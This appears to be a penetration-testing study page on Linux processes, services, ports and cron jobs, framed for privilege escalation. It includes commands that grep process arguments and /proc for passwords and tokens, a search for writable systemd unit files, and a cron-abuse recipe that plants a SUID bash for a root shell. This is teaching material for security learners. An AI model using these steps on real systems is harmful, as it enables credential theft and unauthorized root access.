Processes services - Dudji's Docs

The Mindset

Processes and services matter to a pentester for three reasons:

Attack surface — Services running as root with known vulnerabilities
Credential exposure — Processes started with passwords as arguments (visible in ps)
Scheduled execution — Cron jobs and timers running privileged scripts you might be able to modify

Always ask: what is running, as whom, and can I influence it?

Processes

`ps` — Process Status

The primary tool for viewing running processes.

# All processes, full detail, including those without a terminal
ps aux

# Tree view — shows parent/child relationships
ps auxf

# Processes for a specific user
ps -u root

# Watch processes update every second (poor man's top)
watch -n 1 "ps aux"

ps aux output explained:

USER    PID  %CPU %MEM    VSZ   RSS  STAT  START   TIME  COMMAND
root      1   0.0  0.1  225948  9520  Ss   09:01   0:03  /sbin/init
www-data 812  0.1  0.4  123456 18432  S    09:05   0:12  /usr/sbin/apache2

Column	Meaning
`USER`	Who owns the process — root-owned processes are high value
`PID`	Process ID
`%CPU` / `%MEM`	Resource usage
`VSZ`	Virtual memory size — total memory the process could use
`RSS`	Resident Set Size — physical memory currently used by the process
`STAT`	Process state — S sleeping (waiting for input), R running (actively using CPU), Z zombie (finished but not cleaned up by parent)
`START`	Time the process was started
`TIME`	Total CPU time the process has consumed since it started
`COMMAND`	The full command — passwords often appear here

Hunt for credentials in process arguments:

# Look for passwords passed as arguments
ps aux | grep -E "password|passwd|--pass|-p [0-9]"

# Check full command lines via /proc
for pid in /proc/[0-9]*/cmdline; do
    cat "$pid" 2>/dev/null | tr '\0' ' '
    echo
done | grep -i "pass\|secret\|key\|token"

The first command searches ps aux output for common patterns used when passwords are passed as arguments — password/passwd as full argument names, --pass as a CLI flag, or -p followed by a number (common with database CLIs like mysql).The second command reads directly from /proc instead of ps. Every running process has a cmdline file in /proc/[PID]/ containing its full command line, but arguments are separated by null bytes (\0) instead of spaces. tr '\0' ' ' converts those null bytes to spaces so the output is readable, then grep filters for anything that looks like a secret.

Developers and sysadmins frequently pass database passwords as command-line arguments. These show up in ps aux and are readable by any user on the system.

Services (Daemons)

Services are background processes — identified by a d suffix in their name (sshd, httpd, mysqld). They’re managed by systemd on most modern Linux systems.

`systemctl` — Service Management

# List all running services
systemctl list-units --type=service --state=running

# List ALL services (including stopped)
systemctl list-units --type=service

# Status of a specific service
systemctl status ssh
systemctl status apache2

# Start / stop / restart
systemctl start ssh
systemctl stop ssh
systemctl restart ssh

# Enable at boot / disable
systemctl enable ssh
systemctl disable ssh

What to look for in service status:

systemctl status mysql

# ● mysql.service - MySQL Community Server
#    Loaded: loaded (/lib/systemd/system/mysql.service)
#    Active: active (running) since Mon 2024-01-01
#   Process: 1234 ExecStart=/usr/sbin/mysqld (code=exited)
#  Main PID: 1235 (mysqld)
#    CGroup: /system.slice/mysql.service
#            └─1235 /usr/sbin/mysqld

Note the user context — if it says User=root in the unit file, any exploit against this service runs as root.

Check Service Unit Files for Misconfigs

# View the unit file for a service
systemctl cat ssh
cat /lib/systemd/system/apache2.service

# Look for services running as root
grep -r "User=" /etc/systemd/system/ /lib/systemd/system/ 2>/dev/null

# Find writable service unit files (can hijack execution)
find /etc/systemd /lib/systemd -writable -type f 2>/dev/null

`journalctl` — Service Logs

# Logs for a specific service
journalctl -u ssh.service

# Follow logs in real time
journalctl -u apache2 -f

# Logs since last boot
journalctl -b

# Look for errors
journalctl -p err

Listening Ports & Network Services

A service is only useful to you if it’s accessible. Map what’s listening and where.

# All listening ports (TCP + UDP)
ss -tuln

# Same with process names (needs root for all processes)
ss -tulnp

# Legacy netstat equivalent
netstat -tuln
netstat -tulnp

# Cross-reference with ps — find the process behind a port
ss -tulnp | grep :3306     # MySQL
ss -tulnp | grep :8080     # Web app

Why this matters: Services listening on 127.0.0.1 (localhost only) are not exposed externally — but once you’re on the box, you can access them. Internal services are often less hardened than externally-facing ones.

# Find internal-only services (localhost listeners)
ss -tuln | grep "127.0.0.1"

# Port forward to access them from your machine
# ssh -L <local_port>:<remote_host>:<remote_port> <user>@<target>
ssh -L 8080:127.0.0.1:8080 user@target

Cron Jobs — Scheduled Task Abuse

Cron runs scripts on a schedule — often as root. If a root-owned cron job calls a script you can modify, you can inject commands that run as root.

Where Cron Jobs Live

# System-wide crontab
cat /etc/crontab

# Cron directories (scripts dropped here run automatically)
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/

# Current user's crontab
crontab -l

# Other users' crontabs (needs root)
crontab -l -u root
ls /var/spool/cron/crontabs/

Reading a Crontab

# MIN  HOUR  DOM  MON  DOW   USER    COMMAND
  0    */6    *    *    *    root    /opt/scripts/backup.sh
  0     0     1    *    *    root    /usr/local/bin/cleanup.sh

Field	Values	Description
MIN	0-59	Minute
HOUR	0-23	Hour
DOM	1-31	Day of month
MON	1-12	Month
DOW	0-7	Day of week (0 and 7 = Sunday)
`*`	any	Run every interval
`*/6`	any	Every 6 units

Exploiting Cron Jobs

# Step 1: Find cron jobs running as root
cat /etc/crontab
grep -r "CRON" /var/log/syslog | tail -20     # See what recently ran

# Step 2: Check if the script is writable
ls -la /opt/scripts/backup.sh

# Step 3: If writable — inject a reverse shell or SUID bash
echo "chmod +s /bin/bash" >> /opt/scripts/backup.sh
# Wait for cron to run, then:
bash -p

# Step 4: If the script doesn't exist yet — create it
# (cron calls a script that was deleted but the job remains)
echo '#!/bin/bash\nchmod +s /bin/bash' > /opt/scripts/backup.sh
chmod +x /opt/scripts/backup.sh

Use pspy to monitor processes in real time without root — it catches cron jobs and other scheduled tasks as they execute, even ones not visible in crontab files. ./pspy64 — watch for root-owned processes spawning at regular intervals.

Systemd Timers — The Modern Cron

Systemd timers are the modern replacement for cron. Check them too.

# List all active timers
systemctl list-timers --all

# View what a timer runs
systemctl cat mytimer.timer
systemctl cat mytimer.service

Process Signals

Useful for controlling processes during a pentest — particularly for backgrounding tools or cleanly stopping them.

Signal	Number	Shortcut	Description
`SIGHUP`	1	—	Reload config / restart
`SIGINT`	2	`Ctrl+C`	Interrupt process
`SIGQUIT`	3	`Ctrl+D`	Quit
`SIGKILL`	9	—	Force kill — no cleanup
`SIGTERM`	15	—	Graceful termination
`SIGSTOP`	19	—	Pause process
`SIGTSTP`	20	`Ctrl+Z`	Suspend to background

# Kill a process by PID
kill -9 <PID>

# Kill by name
pkill -9 apache2

# Find PID by name
pgrep sshd

Background & Foreground

# Run a command in the background
./scan.sh &

# Suspend current process
Ctrl+Z

# List background jobs
jobs

# Resume in background
bg

# Bring back to foreground
fg 1

Next: Network Configuration & Enumeration — mapping the internal network, active connections, and pivoting opportunities.

​The Mindset

​Processes

​ps — Process Status

​Services (Daemons)

​systemctl — Service Management

​Check Service Unit Files for Misconfigs

​journalctl — Service Logs

​Listening Ports & Network Services

​Cron Jobs — Scheduled Task Abuse

​Where Cron Jobs Live

​Reading a Crontab

​Exploiting Cron Jobs

​Systemd Timers — The Modern Cron

​Process Signals

​Background & Foreground

The Mindset

Processes

`ps` — Process Status

Services (Daemons)

`systemctl` — Service Management

Check Service Unit Files for Misconfigs

`journalctl` — Service Logs

Listening Ports & Network Services

Cron Jobs — Scheduled Task Abuse

Where Cron Jobs Live

Reading a Crontab

Exploiting Cron Jobs

Systemd Timers — The Modern Cron

Process Signals

Background & Foreground